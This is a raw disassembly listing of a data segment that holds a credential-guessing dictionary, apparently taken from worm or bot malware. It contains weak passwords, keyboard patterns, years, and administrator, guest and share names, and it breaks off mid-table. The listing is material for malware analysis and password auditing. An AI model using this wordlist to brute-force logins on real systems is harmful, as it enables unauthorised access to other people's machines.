dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew ; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset dword_426260 dd offset dword_42625C dd offset dword_426258 dd offset dword_426254 dd offset dword_42624C dd offset dword_426244 dd offset dword_42623C dd offset dword_426230 dd offset loc_41F1BB+1 dd offset dword_42622C dd offset off_426228 dd offset a@_6 ; "@" dd offset a@@ ; "@@" dd offset asc_42621C ; "+" dd offset asc_426218 ; "++" dd offset asc_426214 ; "+++" dd offset asc_42620C ; "++++" dd offset asc_426208 ; "-" dd offset asc_426204 ; "--" dd offset asc_426204 ; "--" dd offset asc_4261FC ; "----" dd offset asc_4261F8 ; "-+" dd offset asc_4261F0 ; "--++" dd offset a0 ; "=-0" dd offset a789_0 ; "789+" dd offset a456_0 ; "456+" dd offset asc_4261D8 ; "$" dd offset asc_4261D4 ; "$$" dd offset asc_4261D0 ; "$$$" dd offset a@_5 ; "*&^%$#@!" dd offset a@_4 ; "&^%$#@!" dd offset a@_3 ; "^%$#@!" dd offset a@_2 ; "%$#@!" dd offset a@_1 ; "$#@!" dd offset a@_0 ; "#@!" dd offset a@ ; "@!" dd offset dword_41F1D0 dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset a00000000 ; "00000000" dd offset a000000000 ; "000000000" dd offset a0000000000 ; "0000000000" dd offset asc_41F960 ; "*" dd offset asc_426180 ; "**" dd offset asc_42617C ; "***" dd offset asc_426174 ; "****" dd offset asc_42616C ; "*****" dd offset asc_426164 ; "******" dd offset asc_42615C ; "*******" dd offset asc_426150 ; "********" dd offset asc_426144 ; "*********" dd offset a001 ; "001" dd offset a002 ; "002" dd offset a003 ; "003" dd offset a004 ; "004" dd offset a005 ; "005" dd offset a006 ; "006" dd offset a007 ; "007" dd offset a008 ; "008" dd offset a009 ; "009" dd offset a010 ; "010" dd offset a0wn3d ; "0wn3d" dd offset a0wned ; "0wned" dd offset a1 ; "1" dd offset a11 ; "11" dd offset a111 ; "111" dd offset a1111 ; "1111" dd offset a11111 ; "11111" dd offset a111111 ; "111111" dd offset a1111111 ; "1111111" dd offset a11111111 ; "11111111" dd offset a111111111 ; "111111111" dd offset a1111111111 ; "1111111111" dd offset a2 ; "2" dd offset a22 ; "22" dd offset a222 ; "222" dd offset a2222 ; "2222" dd offset a22222 ; "22222" dd offset a222222 ; "222222" dd offset a2222222 ; "2222222" dd offset a22222222 ; "22222222" dd offset a222222222 ; "222222222" dd offset a2222222222 ; "2222222222" dd offset a3 ; "3" dd offset a33 ; "33" dd offset a333 ; "333" dd offset a3333 ; "3333" dd offset a33333 ; "33333" dd offset a333333 ; "333333" dd offset a3333333 ; "3333333" dd offset a33333333 ; "33333333" dd offset a333333333 ; "333333333" dd offset a3333333333 ; "3333333333" dd offset a4 ; "4" dd offset a44 ; "44" dd offset a444 ; "444" dd offset a4444 ; "4444" dd offset a44444 ; "44444" dd offset a444444 ; "444444" dd offset a4444444 ; "4444444" dd offset a44444444 ; "44444444" dd offset a444444444 ; "444444444" dd offset a4444444444 ; "4444444444" dd offset a5 ; "5" dd offset a55 ; "55" dd offset a555 ; "555" dd offset a5555 ; "5555" dd offset a55555 ; "55555" dd offset a555555 ; "555555" dd offset a5555555 ; "5555555" dd offset a55555555 ; "55555555" dd offset a555555555 ; "555555555" dd offset a5555555555 ; "5555555555" dd offset a6 ; "6" dd offset a66 ; "66" dd offset a666 ; "666" dd offset a6666 ; "6666" dd offset a66666 ; "66666" dd offset a666666 ; "666666" dd offset a6666666 ; "6666666" dd offset a66666666 ; "66666666" dd offset a666666666 ; "666666666" dd offset a6666666666 ; "6666666666" dd offset a7 ; "7" dd offset a77 ; "77" dd offset a777 ; "777" dd offset a7777 ; "7777" dd offset a77777 ; "77777" dd offset a777777 ; "777777" dd offset a7777777 ; "7777777" dd offset a77777777 ; "77777777" dd offset a777777777 ; "777777777" dd offset a7777777777 ; "7777777777" dd offset a8 ; "8" dd offset a88 ; "88" dd offset a888 ; "888" dd offset a8888 ; "8888" dd offset a88888 ; "88888" dd offset a888888 ; "888888" dd offset a8888888 ; "8888888" dd offset a88888888 ; "88888888" dd offset a888888888 ; "888888888" dd offset a8888888888 ; "8888888888" dd offset a9 ; "9" dd offset a99 ; "99" dd offset a999 ; "999" dd offset a9999 ; "9999" dd offset a99999 ; "99999" dd offset a999999 ; "999999" dd offset a9999999 ; "9999999" dd offset a99999999 ; "99999999" dd offset a999999999 ; "999999999" dd offset a9999999999 ; "9999999999" dd offset a110 ; "110" dd offset a7410 ; "7410" dd offset a0147 ; "0147" dd offset a1122 ; "1122" dd offset a456 ; "456" dd offset a654 ; "654" dd offset a789 ; "789" dd offset a987 ; "987" dd offset a8520 ; "8520" dd offset a0258 ; "0258" dd offset a1020 ; "1020" dd offset a12 ; "12" dd offset a121 ; "121" dd offset a121212 ; "121212" dd offset a123 ; "123" dd offset a123123 ; "123123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a12346 ; "12346" dd offset a123467 ; "123467" dd offset a1234678 ; "1234678" dd offset a12346789 ; "12346789" dd offset a123467890 ; "123467890" dd offset a1qwer ; "1qwer" dd offset a1abc ; "1abc" dd offset a1asd ; "1asd" dd offset a1qwe ; "1qwe" dd offset a12qwer ; "12qwer" dd offset a12abc ; "12abc" dd offset a12asd ; "12asd" dd offset a12qwe ; "12qwe" dd offset a123qwer ; "123qwer" dd offset a123abc ; "123abc" dd offset a123asd ; "123asd" dd offset a123qwe ; "123qwe" dd offset a1234qwer ; "1234qwer" dd offset a1234abc ; "1234abc" dd offset a1234asd ; "1234asd" dd offset a1234qwe ; "1234qwe" dd offset a1952 ; "1952" dd offset a1953 ; "1953" dd offset a1954 ; "1954" dd offset a1955 ; "1955" dd offset a1956 ; "1956" dd offset a1957 ; "1957" dd offset a1958 ; "1958" dd offset a1959 ; "1959" dd offset a1960 ; "1960" dd offset a1961 ; "1961" dd offset a1962 ; "1962" dd offset a1963 ; "1963" dd offset a1964 ; "1964" dd offset a1965 ; "1965" dd offset a1966 ; "1966" dd offset a1967 ; "1967" dd offset a1968 ; "1968" dd offset a1969 ; "1969" dd offset a1970 ; "1970" dd offset a1971 ; "1971" dd offset a1972 ; "1972" dd offset a1973 ; "1973" dd offset a1974 ; "1974" dd offset a1975 ; "1975" dd offset a1976 ; "1976" dd offset a1977 ; "1977" dd offset a1978 ; "1978" dd offset a1979 ; "1979" dd offset a1980 ; "1980" dd offset a1981 ; "1981" dd offset a1982 ; "1982" dd offset a1983 ; "1983" dd offset a1984 ; "1984" dd offset a1985 ; "1985" dd offset a1986 ; "1986" dd offset a1987 ; "1987" dd offset a1988 ; "1988" dd offset a1989 ; "1989" dd offset a1990 ; "1990" dd offset a1991 ; "1991" dd offset a1992 ; "1992" dd offset a1993 ; "1993" dd offset a1994 ; "1994" dd offset a1995 ; "1995" dd offset a1996 ; "1996" dd offset a1997 ; "1997" dd offset a1998 ; "1998" dd offset a1999 ; "1999" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset a2006 ; "2006" dd offset a2600 ; "2600" dd offset a321 ; "321" dd offset a4321 ; "4321" dd offset a54321 ; "54321" dd offset a654321 ; "654321" dd offset a7654321 ; "7654321" dd offset aSony ; "sony" dd offset aSamsung_0 ; "SAMSUNG" dd offset aSamsung ; "samsung" dd offset aSony_0 ; "SONY" dd offset aMaster_0 ; "MASTER" dd offset aMicrosoft ; "MICROSOFT" dd offset aDisc_0 ; "DISC" dd offset aCreative ; "CREATIVE" dd offset aSex ; "SEX" dd offset aNokia ; "NOKIA" dd offset aXp ; "XP" dd offset aA_1 ; "a" dd offset aAa ; "aa" dd offset aAaa ; "aaa" dd offset aAaaa ; "aaaa" dd offset aAaaaa ; "aaaaa" dd offset aAaaaaa ; "aaaaaa" dd offset aAaaaaaa ; "aaaaaaa" dd offset aAaaaaaaa ; "aaaaaaaa" dd offset aAaaaaaaaa ; "aaaaaaaaa" dd offset aPassword_0 ; "Password" dd offset aPassword1 ; "password1" dd offset aQw ; "qw" dd offset aQwe ; "qwe" dd offset aQwer ; "qwer" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aQwertyu ; "qwertyu" dd offset aQwertyui ; "qwertyui" dd offset aQwertyuio ; "qwertyuio" dd offset aQwertyuiop ; "qwertyuiop" dd offset aRoot ; "root" dd offset aServer_0 ; "server" dd offset aService ; "service" dd offset aServers ; "servers" dd offset aServices ; "services" dd offset aSystem ; "system" dd offset aSystem_0 ; "SYSTEM" dd offset aChi_0 ; "CHI" dd offset aChi ; "chi" dd offset aKor_0 ; "kor" dd offset aTiger ; "tiger" dd offset aKor ; "KOR" dd offset aToyota_0 ; "TOYOTA" dd offset aToyota ; "toyota" dd offset asc_429AE0 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset aXyz ; "xyz" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aKonyang ; "konyang" dd offset aZ ; "z" dd offset aZx ; "zx" dd offset aZxc ; "zxc" dd offset aZxcv ; "zxcv" dd offset aZxcvb ; "zxcvb" dd offset aZxcvbn ; "zxcvbn" dd offset aZxcvbnm ; "zxcvbnm" dd offset aAs ; "as" dd offset aAsd ; "asd" dd offset aAsdf ; "asdf" dd offset aAsdfg ; "asdfg" dd offset aAsdfgh ; "asdfgh" dd offset aAsdfghj ; "asdfghj" dd offset aAsdfghjk ; "asdfghjk" dd offset aAsdfghjkl ; "asdfghjkl" dd offset aQaz ; "qaz" dd offset aWsx ; "wsx" dd offset aEdc ; "edc" dd offset aRfv ; "rfv" dd offset aB ; "b" dd offset aBb ; "bb" dd offset aBbb ; "bbb" dd offset aBbbb ; "bbbb" dd offset aBbbbb ; "bbbbb" dd offset aBbbbbb ; "bbbbbb" dd offset aBbbbbbb ; "bbbbbbb" dd offset aBbbbbbbb ; "bbbbbbbb" dd offset aBbbbbbbbb ; "bbbbbbbbb" dd offset aC ; "c" dd offset aCc ; "cc" dd offset aCcc ; "ccc" dd offset aCccc_0 ; "cccc" dd offset aCcccc ; "ccccc" dd offset aCccccc ; "cccccc" dd offset aCcccccc ; "ccccccc" dd offset aCccccccc ; "cccccccc" dd offset aCcccccccc ; "ccccccccc" dd offset aD ; "d" dd offset aDd_0 ; "dd" dd offset aDdd ; "ddd" dd offset aDddd ; "dddd" dd offset aDdddd ; "ddddd" dd offset aF ; "f" dd offset aFf ; "ff" dd offset aFff ; "fff" dd offset aFfff ; "ffff" dd offset aFffff ; "fffff" dd offset aE ; "e" dd offset aEe ; "ee" dd offset aEee ; "eee" dd offset aEeee ; "eeee" dd offset aEeeee ; "eeeee" dd offset aEeeeee ; "eeeeee" dd offset aG ; "g" dd offset aGg ; "gg" dd offset aGgg ; "ggg" dd offset aGggg ; "gggg" dd offset aGgggg ; "ggggg" dd offset aGggggg ; "gggggg" dd offset asc_425954 ; "h" dd offset aHh ; "hh" dd offset aHhh ; "hhh" dd offset aHhhh ; "hhhh" dd offset aHhhhh ; "hhhhh" dd offset aHhhhhh ; "hhhhhh" dd offset aI_0 ; "i" dd offset aIi ; "ii" dd offset aIii ; "iii" dd offset aIiii ; "iiii" dd offset aIiiii ; "iiiii" dd offset aIiiiii ; "iiiiii" dd offset aJ ; "j" dd offset aJj ; "jj" dd offset aJjj ; "jjj" dd offset aJjjj ; "jjjj" dd offset aJjjjj ; "jjjjj" dd offset aJjjjjj ; "jjjjjj" dd offset aK ; "k" dd offset aKk ; "kk" dd offset aKkk ; "kkk" dd offset aKkkk ; "kkkk" dd offset aKkkkk ; "kkkkk" dd offset aKkkkkk ; "kkkkkk" dd offset asc_4258C4 ; "l" dd offset aLl ; "ll" dd offset aLll ; "lll" dd offset aLlll ; "llll" dd offset aLllll ; "lllll" dd offset aLlllll ; "llllll" dd offset aM ; "m" dd offset aMm ; "mm" dd offset aMmm ; "mmm" dd offset aMmmm ; "mmmm" dd offset aMmmmm ; "mmmmm" dd offset aMmmmmm ; "mmmmmm" dd offset aN ; "n" dd offset aNn ; "nn" dd offset aNnn ; "nnn" dd offset aNnnn ; "nnnn" dd offset aNnnnn ; "nnnnn" dd offset aNnnnnn ; "nnnnnn" dd offset aO ; "o" dd offset aOo ; "oo" dd offset aOoo ; "ooo" dd offset aOooo ; "oooo" dd offset aOoooo ; "ooooo" dd offset aOooooo ; "oooooo" dd offset aP ; "p" dd offset aPp ; "pp" dd offset aPpp ; "ppp" dd offset aPppp ; "pppp" dd offset aPpppp ; "ppppp" dd offset aPppppp ; "pppppp" dd offset aU ; "u" dd offset aUu ; "uu" dd offset aUuu ; "uuu" dd offset aUuuu ; "uuuu" dd offset aUuuuu ; "uuuuu" dd offset aUuuuuu ; "uuuuuu" dd offset aS_3 ; "s" dd offset aSs ; "ss" dd offset aSss ; "sss" dd offset aSsss ; "ssss" dd offset aSssss ; "sssss" dd offset aSsssss ; "ssssss" dd offset aT ; "t" dd offset aTt ; "tt" dd offset aTtt ; "ttt" dd offset aTttt ; "tttt" dd offset aTtttt ; "ttttt" dd offset aTttttt ; "tttttt" dd offset aY ; "y" dd offset aYy ; "yy" dd offset aYyy ; "yyy" dd offset aYyyy ; "yyyy" dd offset aYyyyy ; "yyyyy" dd offset aYyyyyy ; "yyyyyy" dd offset aV ; "v" dd offset aVv ; "vv" dd offset aVvv ; "vvv" dd offset aVvvv ; "vvvv" dd offset aVvvvv ; "vvvvv" dd offset aVvvvvv ; "vvvvvv" dd offset aW ; "w" dd offset aWw ; "ww" dd offset aWww ; "www" dd offset aWwww ; "wwww" dd offset aWwwww ; "wwwww" dd offset aWwwwww ; "wwwwww" dd offset aQ ; "q" dd offset aQq ; "qq" dd offset aQqq ; "qqq" dd offset aQqqq ; "qqqq" dd offset aQqqqq ; "qqqqq" dd offset aQqqqqq ; "qqqqqq" dd offset aZ ; "z" dd offset aZz ; "zz" dd offset aZzz ; "zzz" dd offset aZzzz ; "zzzz" dd offset aZzzzz ; "zzzzz" dd offset aZzzzzz ; "zzzzzz" dd offset aXxyyzz ; "xxyyzz" dd offset aZzxx ; "zzxx" dd offset aAass ; "aass" dd offset aQqww ; "qqww" dd offset aZzzxxxccc ; "zzzxxxccc" dd offset aAaasssddd ; "aaasssddd" dd offset aQqqwwweee ; "qqqwwweee" dd offset aQqwwee ; "qqwwee" dd offset aAassdd ; "aassdd" dd offset aZzxxcc ; "zzxxcc" dd offset a1qaz ; "1qaz" dd offset a2wsx ; "2wsx" dd offset a2qaz ; "2qaz" dd offset a3edc ; "3edc" dd offset a3wsx ; "3wsx" dd offset a112233 ; "112233" dd offset aMnb ; "mnb" dd offset aMnbv ; "mnbv" dd offset a2486 ; "2486" dd offset a2684 ; "2684" dd offset a13579 ; "13579" dd offset a753159 ; "753159" dd offset a159357 ; "159357" dd offset a951753 ; "951753" dd offset a753951 ; "753951" dd offset a142536 ; "142536" dd offset aSystem ; "system" dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset dword_42F3E8 dd 0 dword_42561C dd 10h ; seg000:00409AA8r ... a142536 db '142536',0 ; DATA XREF: seg002:0042559Co align 4 a753951 db '753951',0 ; DATA XREF: seg002:00425598o align 10h a951753 db '951753',0 ; DATA XREF: seg002:00425594o align 4 a159357 db '159357',0 ; DATA XREF: seg002:00425590o align 10h a753159 db '753159',0 ; DATA XREF: seg002:0042558Co align 4 a13579 db '13579',0 ; DATA XREF: seg002:00425588o align 10h a2684 db '2684',0 ; DATA XREF: seg002:00425584o align 4 a2486 db '2486',0 ; DATA XREF: seg002:00425580o align 10h aMnbv db 'mnbv',0 ; DATA XREF: seg002:0042557Co align 4 aMnb db 'mnb',0 ; DATA XREF: seg002:00425578o a112233 db '112233',0 ; DATA XREF: seg002:00425574o align 4 a3wsx db '3wsx',0 ; DATA XREF: seg002:00425570o align 4 a3edc db '3edc',0 ; DATA XREF: seg002:0042556Co align 4 a2qaz db '2qaz',0 ; DATA XREF: seg002:00425568o align 4 a2wsx db '2wsx',0 ; DATA XREF: seg002:00425564o align 4 a1qaz db '1qaz',0 ; DATA XREF: seg002:00425560o align 4 aZzxxcc db 'zzxxcc',0 ; DATA XREF: seg002:0042555Co align 4 aAassdd db 'aassdd',0 ; DATA XREF: seg002:00425558o align 4 aQqwwee db 'qqwwee',0 ; DATA XREF: seg002:00425554o align 4 aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: seg002:00425550o align 10h aAaasssddd db 'aaasssddd',0 ; DATA XREF: seg002:0042554Co align 4 aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: seg002:00425548o align 4 aQqww db 'qqww',0 ; DATA XREF: seg002:00425544o align 10h aAass db 'aass',0 ; DATA XREF: seg002:00425540o align 4 aZzxx db 'zzxx',0 ; DATA XREF: seg002:0042553Co align 10h aXxyyzz db 'xxyyzz',0 ; DATA XREF: seg002:00425538o align 4 aZzzzzz db 'zzzzzz',0 ; DATA XREF: seg002:00425534o align 10h aZzzzz db 'zzzzz',0 ; DATA XREF: seg002:00425530o align 4 aZzzz db 'zzzz',0 ; DATA XREF: seg002:0042552Co align 10h aZzz db 'zzz',0 ; DATA XREF: seg002:00425528o aZz db 'zz',0 ; DATA XREF: seg002:00425524o align 4 aQqqqqq db 'qqqqqq',0 ; DATA XREF: seg002:0042551Co align 10h aQqqqq db 'qqqqq',0 ; DATA XREF: seg002:00425518o align 4 aQqqq db 'qqqq',0 ; DATA XREF: seg002:00425514o align 10h aQqq db 'qqq',0 ; DATA XREF: seg002:00425510o aQq db 'qq',0 ; DATA XREF: seg002:0042550Co align 4 aQ: ; DATA XREF: seg002:00425508o unicode 0, <q>,0 aWwwwww db 'wwwwww',0 ; DATA XREF: seg002:00425504o align 4 aWwwww db 'wwwww',0 ; DATA XREF: seg002:00425500o align 4 aWwww db 'wwww',0 ; DATA XREF: seg002:004254FCo align 4 aWww db 'www',0 ; DATA XREF: seg002:004254F8o aWw db 'ww',0 ; DATA XREF: seg002:004254F4o align 4 aW: ; DATA XREF: seg002:004254F0o unicode 0, <w>,0 aVvvvvv db 'vvvvvv',0 ; DATA XREF: seg002:004254ECo align 4 aVvvvv db 'vvvvv',0 ; DATA XREF: seg002:004254E8o align 10h aVvvv db 'vvvv',0 ; DATA XREF: seg002:004254E4o align 4 aVvv db 'vvv',0 ; DATA XREF: seg000:0040B18Fo ; seg002:004254E0o aVv db 'vv',0 ; DATA XREF: seg002:004254DCo align 10h aV: ; DATA XREF: seg002:004254D8o unicode 0, <v>,0 aYyyyyy db 'yyyyyy',0 ; DATA XREF: seg002:004254D4o align 4 aYyyyy db 'yyyyy',0 ; DATA XREF: seg002:004254D0o align 4 aYyyy db 'yyyy',0 ; DATA XREF: seg002:004254CCo align 4 aYyy db 'yyy',0 ; DATA XREF: seg002:004254C8o aYy db 'yy',0 ; DATA XREF: seg002:004254C4o align 4 aY: ; DATA XREF: seg002:004254C0o unicode 0, <y>,0 aTttttt db 'tttttt',0 ; DATA XREF: seg002:004254BCo align 10h aTtttt db 'ttttt',0 ; DATA XREF: seg002:004254B8o align 4 aTttt db 'tttt',0 ; DATA XREF: seg002:004254B4o align 10h aTtt db 'ttt',0 ; DATA XREF: seg002:004254B0o aTt db 'tt',0 ; DATA XREF: seg002:004254ACo align 4 aT: ; DATA XREF: seg002:004254A8o unicode 0, <t>,0 aSsssss db 'ssssss',0 ; DATA XREF: seg002:004254A4o align 4 aSssss db 'sssss',0 ; DATA XREF: seg002:004254A0o align 4 aSsss db 'ssss',0 ; DATA XREF: seg002:0042549Co align 4 aSss db 'sss',0 ; DATA XREF: seg002:00425498o aSs db 'ss',0 ; DATA XREF: seg002:00425494o align 4 aS_3: ; DATA XREF: seg002:00425490o unicode 0, <s>,0 aUuuuuu db 'uuuuuu',0 ; DATA XREF: seg002:0042548Co align 4 aUuuuu db 'uuuuu',0 ; DATA XREF: seg002:00425488o align 10h aUuuu db 'uuuu',0 ; DATA XREF: seg002:00425484o align 4 aUuu db 'uuu',0 ; DATA XREF: seg002:00425480o aUu db 'uu',0 ; DATA XREF: seg002:0042547Co align 10h aU: ; DATA XREF: seg002:00425478o unicode 0, <u>,0 aPppppp db 'pppppp',0 ; DATA XREF: seg002:00425474o align 4 aPpppp db 'ppppp',0 ; DATA XREF: seg002:00425470o align 4 aPppp db 'pppp',0 ; DATA XREF: seg002:0042546Co align 4 aPpp db 'ppp',0 ; DATA XREF: seg002:00425468o aPp db 'pp',0 ; DATA XREF: seg002:00425464o align 4 aP: ; DATA XREF: seg002:00425460o unicode 0, <p>,0 aOooooo db 'oooooo',0 ; DATA XREF: seg002:0042545Co align 10h aOoooo db 'ooooo',0 ; DATA XREF: seg002:00425458o align 4 aOooo db 'oooo',0 ; DATA XREF: seg002:00425454o align 10h aOoo db 'ooo',0 ; DATA XREF: seg002:00425450o aOo db 'oo',0 ; DATA XREF: seg002:0042544Co align 4 aO: ; DATA XREF: seg002:00425448o unicode 0, <o>,0 aNnnnnn db 'nnnnnn',0 ; DATA XREF: seg002:00425444o align 4 aNnnnn db 'nnnnn',0 ; DATA XREF: seg002:00425440o align 4 aNnnn db 'nnnn',0 ; DATA XREF: seg002:0042543Co align 4 aNnn db 'nnn',0 ; DATA XREF: seg002:00425438o aNn db 'nn',0 ; DATA XREF: seg002:00425434o align 4 aN: ; DATA XREF: seg002:00425430o unicode 0, <n>,0 aMmmmmm db 'mmmmmm',0 ; DATA XREF: seg002:0042542Co align 4 aMmmmm db 'mmmmm',0 ; DATA XREF: seg002:00425428o align 10h aMmmm db 'mmmm',0 ; DATA XREF: seg002:00425424o align 4 aMmm db 'mmm',0 ; DATA XREF: seg002:00425420o aMm db 'mm',0 ; DATA XREF: seg002:0042541Co align 10h aM: ; DATA XREF: seg002:00425418o unicode 0, <m>,0 aLlllll db 'llllll',0 ; DATA XREF: seg002:00425414o align 4 aLllll db 'lllll',0 ; DATA XREF: seg002:00425410o align 4 aLlll db 'llll',0 ; DATA XREF: seg002:0042540Co align 4 aLll db 'lll',0 ; DATA XREF: seg002:00425408o aLl db 'll',0 ; DATA XREF: seg002:00425404o align 4 asc_4258C4: ; DATA XREF: seg002:00425400o unicode 0, <l>,0 aKkkkkk db 'kkkkkk',0 ; DATA XREF: seg002:004253FCo align 10h aKkkkk db 'kkkkk',0 ; DATA XREF: seg002:004253F8o align 4 aKkkk db 'kkkk',0 ; DATA XREF: seg002:004253F4o align 10h aKkk db 'kkk',0 ; DATA XREF: seg002:004253F0o aKk db 'kk',0 ; DATA XREF: seg002:004253ECo align 4 aK: ; DATA XREF: seg002:004253E8o unicode 0, <k>,0 aJjjjjj db 'jjjjjj',0 ; DATA XREF: seg002:004253E4o align 4 aJjjjj db 'jjjjj',0 ; DATA XREF: seg002:004253E0o align 4 aJjjj db 'jjjj',0 ; DATA XREF: seg002:004253DCo align 4 aJjj db 'jjj',0 ; DATA XREF: seg002:004253D8o aJj db 'jj',0 ; DATA XREF: seg002:004253D4o align 4 aJ: ; DATA XREF: seg002:004253D0o unicode 0, <j>,0 aIiiiii db 'iiiiii',0 ; DATA XREF: seg002:004253CCo align 4 aIiiii db 'iiiii',0 ; DATA XREF: seg002:004253C8o align 10h aIiii db 'iiii',0 ; DATA XREF: seg002:004253C4o align 4 aIii db 'iii',0 ; DATA XREF: seg002:004253C0o aIi db 'ii',0 ; DATA XREF: seg002:004253BCo align 10h aI_0: ; DATA XREF: seg002:004253B8o unicode 0, <i>,0 aHhhhhh db 'hhhhhh',0 ; DATA XREF: seg002:004253B4o align 4 aHhhhh db 'hhhhh',0 ; DATA XREF: seg002:004253B0o align 4 aHhhh db 'hhhh',0 ; DATA XREF: seg002:004253ACo align 4 aHhh db 'hhh',0 ; DATA XREF: seg002:004253A8o aHh db 'hh',0 ; DATA XREF: seg002:004253A4o align 4 asc_425954: ; DATA XREF: seg002:004253A0o unicode 0, <h>,0 aGggggg db 'gggggg',0 ; DATA XREF: seg002:0042539Co align 10h aGgggg db 'ggggg',0 ; DATA XREF: seg002:00425398o align 4 aGggg db 'gggg',0 ; DATA XREF: seg002:00425394o align 10h aGgg db 'ggg',0 ; DATA XREF: seg002:00425390o aGg db 'gg',0 ; DATA XREF: seg002:0042538Co align 4 aG: ; DATA XREF: seg002:00425388o unicode 0, <g>,0 aEeeeee db 'eeeeee',0 ; DATA XREF: seg002:00425384o align 4 aEeeee db 'eeeee',0 ; DATA XREF: seg002:00425380o align 4 aEeee db 'eeee',0 ; DATA XREF: seg002:0042537Co align 4 aEee db 'eee',0 ; DATA XREF: seg002:00425378o aEe db 'ee',0 ; DATA XREF: seg002:00425374o align 4 aE: ; DATA XREF: seg002:00425370o unicode 0, <e>,0 aFffff db 'fffff',0 ; DATA XREF: seg002:0042536Co align 4 aFfff db 'ffff',0 ; DATA XREF: seg002:00425368o align 10h aFff db 'fff',0 ; DATA XREF: seg002:00425364o aFf db 'ff',0 ; DATA XREF: seg002:00425360o align 4 aF: ; DATA XREF: seg002:0042535Co unicode 0, <f>,0 aDdddd db 'ddddd',0 ; DATA XREF: seg002:00425358o align 4 aDddd db 'dddd',0 ; DATA XREF: seg002:00425354o align 4 aDdd db 'ddd',0 